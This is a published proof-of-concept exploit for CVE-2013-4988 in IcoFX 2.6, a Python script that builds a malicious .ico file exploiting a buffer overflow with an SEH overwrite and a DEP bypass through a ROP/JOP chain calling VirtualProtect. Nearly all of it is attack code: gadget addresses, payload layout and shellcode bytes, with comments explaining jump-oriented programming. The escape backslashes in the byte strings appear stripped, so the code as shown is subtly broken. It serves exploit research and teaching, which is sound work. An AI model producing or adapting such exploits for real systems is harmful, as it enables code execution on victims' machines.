Authored by Austin Babcock

IcoFX version 2.6 .ico buffer overflow exploit with SEH and DEP bypass using JOP.

advisories | CVE-2013-4988

# Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP
# Date: 2020-05-20
# Exploit Author: Austin Babcock
# Vendor Homepage: https://icofx.ro/
# Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing
# Version: 2.6.0.0
# Tested on: Windows 7 Ultimate x64
# CVE: CVE-2013-4988
# Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu


# Payload Length: 1626 bytes

#While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate.
#Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET

#This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect().
#JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table.
#The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes.
#After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget.
#Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget.
#In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address.
#The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address..

#!/usr/bin/python2
import struct

# Stuff we'll need for creating our malicious .ico
header = "x00x00x01x00x00x6F"
option = "x02x00x00x00"
pad2 = "x41"*8
nseh = "xfexffxffxff"

base = 0x400000
# SEH Overwrite with stack pivot - ADD ESP,0x800 # POP EBX # RET
seh = struct.pack('<L', 0x0044f012)


###########################

#### LOAD DISPATCH TABLE ADDR INTO ECX ####
#The dispatch table's address is calculated based off of the value of EBP, which is related to the paylaod's location in memory.
jopSetup = struct.pack('<I',0x00580ca8) # POP ECX # RETN <-
jopSetup += struct.pack('<I',0x0000000) #clear ecx
jopSetup += struct.pack('<I', base + 0x000e8643) # ADD ECX,EBP # RETN
jopSetup += struct.pack('<I', base + 0x00007c03) # POP EAX # RETN
jopSetup += struct.pack('<I',0x00009f0) # offset for disp table
jopSetup += struct.pack('<I', base + 0x00007c63) # ADD ECX,EAX # RETN # ecx = disp table

#### LOAD ADD VALUE PTR INTO EAX ####
#Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table,
#eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes.
#In this case, eax will point to an address containing the value 0x00000004.
jopSetup += struct.pack('<I', base + 0x0029c000) # MOV EAX,ECX # POP ESI # RETN <-
jopSetup += struct.pack('<I',0x0000000) # junk
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN

#### LOAD WRITABLE ADDR OFFSET INTO EBX ####
#The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided.
#In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so
#that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value.
jopSetup += struct.pack('<I', base + 0x00390000) # POP EBX # RETN
jopSetup += struct.pack('<I', 0x78c0609a) # needed for stack pivot JOP gadget -- offset to writable addr

#### LOAD DISPATCHER ADDR INTO EDI ####
jopSetup += struct.pack('<I',base + 0x00051423) # POP EDI # RETN
jopSetup += struct.pack('<I',base + 0x6d81) # disp gadget address
#Dispatcher:
#add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)
#jmp dword ptr [ecx]

#### BEGIN JOP -- PERFORM STACK PIVOT ####
jopSetup += struct.pack('<I', base + 0x1623) # JMP EDI
table = struct.pack('<I',0x44444444) # padding
#PIVOT 40 BYTES
#Last POP will put VP ptr in EBP
for i in range(10):
table += struct.pack('<I', 0x588b9b) #pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi <-

#### CALL VirtualProtect() ####
#The derferencing gadget used to call VirtualProtect() has an offset of -0x71 bytes from ebp.
#To account for this, when the pointer for VirtualProtect() is loaded into ebp, 0x71 bytes are added to it in order
#to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below.
table += struct.pack('<I',0x4c8eb7) #jmp dword ptr [ebp - 0x71] <-
# VP ptr + offset for jmp ebp gadget
vpPtr = struct.pack('<I',0x00bf6668 + 0x71)

############################################################################################


msg_sc = ("x31xD2xB2x30x64x8Bx12x8Bx52x0Cx8Bx52x1Cx8Bx42x08x8Bx72x20x8Bx12x80"
"x7Ex0Cx33x75xF2x89xC7x03x78x3Cx8Bx57x78x01xC2x8Bx7Ax20x01xC7x31xED"
"x8Bx34xAFx01xC6x45x81x3Ex46x61x74x61x75xF2x81x7Ex08x45x78x69x74x75"
"xE9x8Bx7Ax24x01xC7x66x8Bx2Cx6Fx8Bx7Ax1Cx01xC7x8Bx7CxAFxFCx01xC7x68"
"x50x21x20x01x68x78x20x4Ax4Fx68x49x63x6Fx46x89xE1xFEx49x0Bx31xC0x51"
"x50xFFxD7")

# ExitProcess(0);
exit_sc = "x31xc0x50xb8x00x60xbfx00xffx10"


addesp = "x81xecx00x10x00x00" # Stack pivot at start of shellcode
shellcode = addesp + msg_sc + exit_sc
nopwrap = "x90"*(0x168 - len(shellcode)) + shellcode + "x90"*0x20


# padding until VP parameter location
paramPad = "C" *(36)

paramPad += vpPtr

### VIRTUAL PROTECT PARAMETERS ###
vpParams = struct.pack('<I',0x18f744) #return addr
vpParams += struct.pack('<I',0x18f744) #lpAddr
vpParams += struct.pack('<I',0x500) #dwSize
vpParams += struct.pack('<I',0x40) #flNewProt
vpParams += struct.pack('<I',0x00bf4d0a) #lpfOldProtect


# pad1 holds JOP Setup chain, VP() Parameters, Shellcode, Value for ADD, and Dispatch Table
pad1 = "A"*580 + jopSetup + paramPad + vpParams + nopwrap
addVal = struct.pack('<I',0x00000004) # how much for disp gadget to add to Dispatch Table address
pad1 += addVal
pad1 += table # dispatch table
pad1 += "B"*(0x640-len(pad1))

# Piece together our exploit
payload = header + pad1 + option + pad2 + nseh + seh
# Write out our malicious file
writeFile = open ("maliciousJOP.ico", "wb")
writeFile.write( payload )
writeFile.close()